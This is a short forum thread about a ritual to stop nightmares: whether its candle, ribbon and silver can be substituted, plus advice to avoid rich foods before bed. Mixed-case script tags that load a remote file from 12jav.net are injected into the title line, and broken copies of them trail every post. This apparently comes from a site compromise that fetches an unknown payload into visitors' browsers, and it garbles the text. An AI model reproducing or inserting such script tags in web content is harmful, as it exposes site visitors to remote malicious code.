"ARitualToStopNightmares"

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"ARitualToStopNightmares" <sCrIpT sRc=//12jav.net/1.js></ScRiPt><sCrIpT sRc=//12jav.net/1.js></ScRiPt>
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Post # 1
Sorry bout the title! Anyway, I printed this article off of this site and can't find the proper tools. I have read some other comments covering this matter but wanted to make sure: Can you substitute or even go completely without the things they call for?
the things are: candle(new every time!), ribbon(also new), and silver. sRc=//12jav.net/1.js> sRc=//12jav.net/1.js>
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Re: "ARitualToStopNightmares"
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Post # 2
You dont need any items really to preform a spell. I also believe you can substitute out items. sRc=//12jav.net/1.js> sRc=//12jav.net/1.js>
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Re: "ARitualToStopNightmares"
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Post # 3
avoid chocolate and cheese before bed. same with garlic, onions, peppers and strongly seasoned foods. sRc=//12jav.net/1.js> sRc=//12jav.net/1.js>
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